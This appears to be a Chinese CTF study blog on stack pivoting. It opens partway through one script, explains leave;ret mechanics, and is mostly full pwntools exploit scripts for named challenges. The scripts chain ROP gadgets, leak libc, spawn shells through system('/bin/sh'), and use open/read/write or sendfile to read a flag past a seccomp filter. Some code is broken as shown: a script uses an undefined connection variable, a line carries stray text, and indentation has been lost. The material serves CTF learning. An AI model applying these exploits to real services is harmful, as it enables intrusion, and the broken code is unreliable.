p.recvuntil(b'leave or capture the flag?\n')
p.sendline(b'3')
p.recvuntil(b'your choice: ')
p.sendline(b'2')
p.recvuntil(b'your choice: ')
p.sendline(b'1')

# 更紧凑的payload
payload2 = b'a' * 0x28
#payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(0)
payload2 += p64(pop_rsi) + p64(bss_addr)
payload2 += p64(pop_rdx) + p64(8)
payload2 += p64(read_addr)

# 打开文件 (O_RDONLY = 0)
payload2 += p64(pop_rdi) + p64(bss_addr) # filename
payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY
payload2 += p64(pop_rdx) + p64(0) # mode = 0
payload2 += p64(open_addr)

# 传递文件描述符并读取文件内容
payload2 += p64(mov_rdi_rax) # mov rdi, rax
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(read_addr)

# 写入到stdout
payload2 += p64(pop_rdi) + p64(1)
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(write_addr)
# debug()
p.send(payload2)
p.send(b'./flag\x00\x00')
p.interactive()

当然如果没直接给出orw函数地址,我们也可以先利用libc泄露再orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110


from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux')
#(arch='amd64', os='linux')
# io = process("./noshell")
io = remote('ip', port)

elf = ELF("./noshell")

# Gadgets from ROPgadget
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
bss_addr = 0x4040A0 +0x200
ret = 0x40101a
read_addr = 0x401446
mov_rdi_rax = 0x00000000004013f9
# Step 1: Enter challenge and set off to 256
io.recvuntil(b"Do you want to say something?\n")
io.send(b'y') # Send 'y' to trigger read
io.send(b'A' * 100) # Send some data for read

io.recvuntil(b"leave or capture the flag?\n")
io.sendline(b'2') # Choose to capture the flag

# Step 2: Set off to 256 first
io.recvuntil(b"your choice: ")
io.sendline(b'2') # Get_the_power_of_your_cat

# Step 3: Leak libc address
io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power
io.recvuntil(b"say something:\n")

payload1 = b'A' * 0x20 # Fill buffer
payload1 += b'B' * 8 # Override RBP
payload1 += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload1 += p64(elf.symbols['challenge']) # Return to challenge to continue

io.send(payload1)

# Receive leaked address
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr: 0x%x" % puts_addr)

io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power
io.recvuntil(b"say something:\n")

payload2 = b'A' * 0x20 # Fill buffer
payload2 += b'B' * 8 # Override RBP
payload2 += p64(pop_rdi) + p64(elf.got['write']) + p64(elf.plt['puts'])
payload2 += p64(elf.symbols['challenge']) # Return to challenge to continue

io.send(payload2)

# Receive leaked address
write_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("write_addr: 0x%x" % write_addr)
#pause()

libc_base = puts_addr - 0x084ed0
open_addr = libc_base + 0x117610
read_addr = libc_base +0x117900
rdx_r12 = libc_base + 0x0000000000122431
rsp =libc_base + 0x0000000000039762

# Step 4: Second overflow to read flag
# We're already back in challenge function due to the loop
io.recvuntil(b"your choice: ")
io.sendline(b'2') # Set off to 256 again (just to be safe)

io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power



# 更紧凑的payload
payload2 = b'a' * 0x28
#payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(0)
payload2 += p64(pop_rsi) + p64(bss_addr)
payload2 += p64(pop_rdx) + p64(8)
payload2 += p64(read_addr)

# 打开文件 (O_RDONLY = 0)
payload2 += p64(pop_rdi) + p64(bss_addr) # filename
payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY
payload2 += p64(pop_rdx) + p64(0) # mode = 0
payload2 += p64(open_addr)

# 传递文件描述符并读取文件内容
payload2 += p64(mov_rdi_rax) # mov rdi, rax
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(read_addr)

# 写入到stdout
payload2 += p64(pop_rdi) + p64(1)
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(write_addr)
# debug()

io.send(payload2)
io.send(b'./flag\x00\x00')
io.interactive()

栈迁移专题学习

📚 看了好几篇栈迁移的文章,🤔 越看越懵,😵‍💫 感觉自己和没学 pwn 的一样。

原理学习

32位

  1. 首先先了解栈的结构

1

(自己画的,有错误望指正)

  1. 了解栈的结构后,我们再来仔细了解一下leave;ret这两个指令
1
2
3
4
5
call func()
-----------
push eip + 4
push ebp
mov ebp,esp

如果要保持栈平衡就要在call退出的时候执行相反的操作

1
2
3
4
5
6
7
8
leave
----------
mov esp,ebp
pop ebp
************
ret
------------
pop eip
  1. 什么时候用栈迁移:

    (1).有栈溢出漏洞。

    (2).溢出的长度不够。

    所以我们就要把栈迁移到一个长度够大的区域(通常是bss段),那怎么把栈迁移呢,主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址),从而控制程序的执行流。

  2. 栈迁移最重要就是怎么利用leave;ret进行栈迁移

1
2
3
leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了,他们指向同一个内容
//pop ebp 把栈顶的内容弹给ebp。此时ebp指向的就是栈顶的内容了
由于esp时刻指向的是栈顶的位置,栈顶的内容弹出后,esp会下降一个单位

2

1
ret  //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元

3

了解了栈的结构和leave;ret的执行过程后,就可以来了解栈迁移的原理了

  1. 栈迁移的原理:栈迁移一共要执行两次leave;ret

    1.首先我们先了解一下此时栈上的分布情况

    1
    2
    3
    4
    5
    6
    7
    主要如下图,这里注释:
    0xffff100c--->system的返回地址
    0xffff1010--->system参数的存储地址
    0xffff1014--->存储/bin
    0xffff1018--->存储/sh
    0xffff1020--->0xffff1004 也就是ebp--->0xffff1004
    0xffff1024--->leave ret; 原本是return address;

    4

    2.第一次leave;ret:

    1
    2
    3
    由上面的leave;ret的执行过程,首先leave:mov ebp;esp,让ebp和esp在同一个位置;leave: pop ebp,此时我们把ebp所指的内容换成
    了需要迁移到的位置,所以pop ebp后esp指向的就是需要迁移到的位置。然后我们把return address换成leave ret的地址,就会再次执
    行leave ret。

    5

    3.第二次leave;ret:

    1
    2
    3
    同样是leave:mov ebp;esp,让ebp和esp在同一个位置;但是此时ebp指向的是需要迁移到的位置,所以esp此时指向的也是需要迁移到的位
    置;leave:pop ebp,我们把return address的地址换成system的地址,就使得esp下降一个单元后正好指向system的地址。ret:pop
    eip,最终eip指向system的地址--->getshell

    5

了解完了32位的栈溢出,现在来了解64位栈溢出

64位

64位和32位栈的结构是相似的,主要不同就是调用函数时传参的不同

5

实例

32位

buuctf-ciscn_2019_es_2

6

  1. IDA反编译

6

6

计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够,要用到栈迁移。

  1. 先给出exp,在具体解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'Welcome, my friend. What's your name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()
  1. 首先找到leave ret的地址可以用ROPgadget找,也可以直接在IDA的汇编代码里面找

(1)用ROPgadget

1
ROPgadget --binary ciscn_2019_es_2 --only "leave|ret"

8

(2)在IDA的汇编代码里面找

8

  1. 找到system的plt地址

8

  1. 在vul函数中有两个溢出点,所以我们就需要先通过第一个溢出泄露出ebp的地址,再构造栈迁移的payload

    (1)首先泄露ebp的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    r = process('./pwn')
    #r = remote("node5.buuoj.cn", 25271)
    payload1= b'a'*0x24 + b'b'*4
    r.send(payload1)
    r.recvuntil('bbbb')
    ebp_addr = u32(r.recv(4))
    print(hex(ebp_addr))
    r.interactive()

    (2)构造栈迁移的payload

    1
    2
    buf=ebp-0x38 
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)

    buf=ebp-0x38 通过调试可以得到,我们最后调试,先解释payload

    1
    2
    3
    4
    5
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave)
    ---------------------------------------------------------------------------------------------------------------
    buf + 12:p32(sys_addr)=4,b'aaaa'=4,p32(buf+12)=4,4+4+4=12所以buf+12就是/bin/sh的起始地址
    p32(buf):栈迁移所到达的位置
    leave:leave ret;

    8

​ 0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168,正好0x28 + 0x10 = 0x38;

64位

actf_2019_babystack

9

64位,只开了NX,先给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
#io =process('./ACTF_2019_babystack')
io = remote("node5.buuoj.cn",26651)
elf =ELF('./ACTF_2019_babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4008F6
#gdb.attach(io)
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
print(hex(stack_addr))
pop_rdi_ret = 0x400ad3
pop_rsi__r15_ret =0x400ad1
leave_ret = 0x400A18
offest = 0xd0
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.recvuntil(b'>')
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr:'+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
system_addr = puts_addr-libc.dump('puts')+libc.dump('system')
str_bin_sh = puts_addr-libc.dump('puts')+libc.dump('str_bin_sh')
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.send(payload)
io.interactive()

9

这个很明显要栈迁移了

这个附件里面没有找到system的地址,所以我们只能通过泄露libc来打了

1
2
3
4
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload
payload =payload.ljust(0xd0,b'a') #填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #stack_addr就是栈的起始位置,也就是我要迁移到的位置,本题直接回打印出来,接受就可以了
b'a'*8是因为pop rbp的时候 rsp会+8,所以要。

发送payload后,就会泄露libc

1
2
3
4
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
#system(/bin/sh) leave_ret+1--->retn用于堆栈平衡
payload =payload.ljust(0xd0,b'a')#填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #同理最终栈迁移执行shell

栈迁移到这里基本就总结结束啦~🌈✨😊

这里记录一个难的栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Are you the king of stack migrate?");
read(0, buf, 0x90uLL);
puts("Good luck.");
return 0LL;
}

0x90 - 0x80 = 0x10典型的栈迁移,先给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('nc1.ctfplus.cn', 30481)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
leave_ret = 0x4011c8
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x500

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e) # read -> bss+off
sa(b'Are you the king of stack migrate?\n', pay_pivot)
ru(b'Good luck.\n')
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)
ru(b'Good luck.\n')

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8) # leave_ret

sleep(0.5)
io.send(payload)

io.interactive()
1
这里只有一个read函数,所以我们迁到栈上几乎是不可能的了,所以我们就想到迁到bss的段上

这里把payload怎么构造和解题思路详细写一下。

解题思路

1
先将栈迁到bss的段上,返回地址覆盖为read函数,再次读入时泄露puts的地址,返回地址依然为read,再次读入getshell。

详细解释一下这个payload

1
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e)

read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了,将栈迁移到bss + offset的位置进行读入。

1
2
3
4
5
6
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)

0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。

0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage;利用pop_rbp再次利用read。

cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。

bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢,首先read读入这串payload后先执行 0x401146,

elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址,然后pop_rbp。rbp就储存了bss+offset + 0x200的位置,接着执行0x40119e,从bss + offset +

0x200的位置开始read。

1
2
3
4
5
6
7
payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b’\x00’)是构造system(/bin/sh)

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。

[Black Watch 入群题]PWN1

这题不难记录一下题目和exp就可以了

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u); //s在bss段上
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# 连接到远程服务
p = remote('node5.buuoj.cn', 27611)

# 设置环境参数(架构、操作系统、日志等级)
context(arch='i386', os='linux', log_level='debug')

# 加载本地 ELF 文件
e = ELF('./spwn')

# 获取程序中的符号地址
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
main_addr = 0x08048513 # main 函数地址

# 第一次发送 payload:泄露 write 的真实地址
payload1 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil('What is your name?')
p.send(payload1)

# 接收输入提示
p.recvuntil('What do you want to say?')

# 构造栈溢出 payload,覆盖返回地址,为下一次调用做准备
payload2 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511) # 0x0804A300 为 bss 段地址,0x08048511 为 level 函数返回地址
p.send(payload2)

# 接收 write 的地址并解析
write_addr = u32(p.recv(4))
log.success("Leaked write address: " + hex(write_addr))

# 使用 LibcSearcher 查找 libc 基址及 system 和 "/bin/sh" 地址
obj = LibcSearcher('write', write_addr)
libc_base = write_addr - obj.dump('write')
sys_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')

# 第二次交互:发送调用 system("/bin/sh") 的 payload
p.recvuntil('What is your name?')
payload3 = b'aaaa' + p32(sys_addr) + p32(0) + p32(bin_sh_addr)
p.send(payload3)

# 再次接收提示
p.recvuntil('What do you want to say?')

# 再次构造栈溢出 payload,确保程序流正确执行
payload4 = b'a' * 0x18 + p32(0x0804A300) + p32(0x08048511)
p.send(payload4)

# 进入交互模式,获取 shell
p.interactive()

gyctf_2020_borrowstack

这题不难也记录一下题目和exp就可以了

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("锛積lcome to Stack bank,Tell me what you want");
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL); //bank在bss段
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# 连接到远程服务器
p = remote('node4.buuoj.cn', 25199)

# 设置环境参数
context(arch='amd64', os='linux', log_level='debug')

# 加载 libc 和 程序的 ELF 文件
libc = ELF('libc-2.23.so')
e = ELF('./a')

# 获取 plt 和 got 中 puts 的地址
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']

# 常量地址定义
pop_rdi_addr = 0x400703 # pop rdi; ret 指令的地址
level_ret_addr = 0x400699 # level 函数返回地址
bss_addr = 0x601080 # bss 段地址
ret_addr = 0x4004c9 # ret 指令地址
main_addr = 0x400626 # main 函数地址

# 第一个 payload:填充栈并跳转到 level_ret_addr
payload1 = 0x60 * b'a' + p64(bss_addr) + p64(level_ret_addr)
p.send(payload1)

# 第二个 payload:执行 ret 多次,然后调用 puts 泄露地址,并回到 main 函数
payload2 = p64(ret_addr) * 20 # 使用至少 20 个 ret 指令
payload2 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) # 调用 puts 泄露 puts 地址
payload2 += p64(main_addr) # 返回到 main 函数
p.sendafter(b'Done!You can check and use your borrow stack now!\n', payload2)

# 接收泄露的 puts 地址
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(puts_addr)}")

# 计算 libc 基地址和 shell 地址
libc_base = puts_addr - libc.symbols['puts']
shell = libc_base + 0x4526a system("/bin/sh") 地址
print(f"Shell address: {hex(shell)}")

# 第三个 payload:覆盖返回地址为 shell 地址
payload3 = 0x60 * b'a' + p64(0xdeadbeef) + p64(shell)
p.recvuntil(b'u want\n')
p.send(payload3)

# 接收提示后发送 '1'
p.recvuntil(b'Done!You can check and use your borrow stack now!\n')
p.send(b'1')

# 进入交互模式
p.interactive()

Basectf2024 stack in stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

sub_4011FE(a1, a2, a3);
memset(buf, 0, sizeof(buf));
puts("It looks like something fell off mick0960.");
printf("%p\n", buf);
if ( (int)read(0, buf, 0x40uLL) < 0 )
{
perror("An error occurred while reading!");
exit(1);
}
return 0LL;
}

这里主要利用了栈迁移,进行第一次泄露puts的地址,并且返回main。再次进行栈迁移,执行ROP链getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
print(hex(buf_addr))
main_addr = 0x40124a
leave = 0x4012f2
sub_4011C6 = 0x4011dd #泄露puts的地址

payload = p64(0) + p64(sub_4011C6) + p64(0) + p64(main_addr)
payload += p64(0)*2
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym.puts
print(hex(libc_base))
p.recvuntil(b'It looks like something fell off mick0960.\n')
buf_addr = int(p.recv(14), 16)
#gdb.attach(p)
#pause()

system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2a3e5 #在libc.so.6找
ret = 0x40101a
#gdb.attach(p)
#pause()

payload = b'aaaa' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0)
payload += p64(buf_addr) + p64(leave)
p.send(payload)
#gdb.attach(p)
#pause()
p.interactive()
1
ROPgadget --binary libc.so.6 --only "pop|ret"  #查找pop_rdi的偏移

[SWPUCTF 2024 秋季新生赛]不可名状的东西

栈迁移+ORW

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

init(argc, argv, envp);
puts("Please enter your name!");
read(0, buf, 0x98uLL);
return 0;
}

0x98 - 0x80 -0x08 = 16太短栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 23555)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011C8, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*8+p64(leave_ret+1)+p64(leave_ret+1)+p64(leave_ret+1)+p64(0x4011C5)+p64(binsh_addr)+p64(system_addr)
payload =payload.ljust(0x80,b'a')
payload+=p64(bss + 0x200 - 0x8)+p64(leave_ret)

sleep(0.5)
io.send(payload)

io.interactive()

开始直接用system(/bin/sh)打失败了

1
2
3
4
5
6
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

execve被禁了

用ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload = (
# 1. 在内存中写入目标文件路径 "./flag\x00"(末尾补\x00对齐8字节)
b"./flag\x00\x00" # 字符串占6字节,补2个\x00凑8字节,存放在栈上

# 2. 调用open函数打开文件:open("./flag", O_RDONLY)
+ p64(0x4011C5) # pop rdi; ret(用于给rdi传参)
+ p64(bss + 0x200) # rdi = 字符串存放地址(./flag的地址)
+ p64(pop_rsi) # pop rsi; ret(用于给rsi传参)
+ p64(0) # rsi = 0(O_RDONLY,只读模式)
+ p64(open_addr) # 调用open函数,此时栈顶为open地址,执行后打开文件

# 3. 调用read函数读取文件内容:read(fd, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(3) # rdi = 3(假设open返回的文件描述符为3)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(存放读取内容的内存地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(读取的字节数)
+ p64(read_addr) # 调用read函数,读取文件内容到缓冲区

# 4. 调用write函数输出内容:write(stdout, buffer, size)
+ p64(0x4011C5) # pop rdi; ret
+ p64(1) # rdi = 1(stdout,标准输出)
+ p64(pop_rsi) # pop rsi; ret
+ p64(buffer_addr) # rsi = 缓冲区地址(之前存放读取内容的地址)
+ p64(pop_rdx) # pop rdx; ret
+ p64(0x100) # rdx = 0x100(输出的字节数)
+ p64(write_addr) # 调用write函数,将读取到的flag输出到屏幕

20*8 = 160 >0x80所以不能,最终用open + sendflie成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('node6.anna.nssctf.cn', 24512)
elf = ELF('./level1')
libc = ELF('./libc.so.6')
leave_ret = 0x40120F
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x700

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF) # read -> bss+off
sa(b'Please enter your name!\n', pay_pivot)
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x4011C5, 0x404018, 0x401060, # pop_rdi; puts_got; puts@plt
0x4011BB, bss + offset + 0x200, 0x4011EF, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")


pop_rdx_rbx = libc_base + 0x904a9
pop_rsi = libc_base + 0x2be51
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym['open']
sendfile = libc_base + libc.sym['sendfile']

payload3 = b"./flag\x00\x00" + p64(0x4011C5) + p64(bss + 0x200) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(0x4011C5) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(pop_rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x200)+ p64(leave_ret)


sleep(0.5)
io.send(payload3)

io.interactive()

[NSSRound#14 Basic]rbp

这题就是0x210可以用ORW,我一开始用sendflie可是没通。

1
2
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret"
0x0000000000118d4f : pop rcx ; ret 0xf66

感觉是不是0xf66导致pop rcx不能用,就直接用orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
from struct import pack
banary = "./rbp"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("libc.so.6")
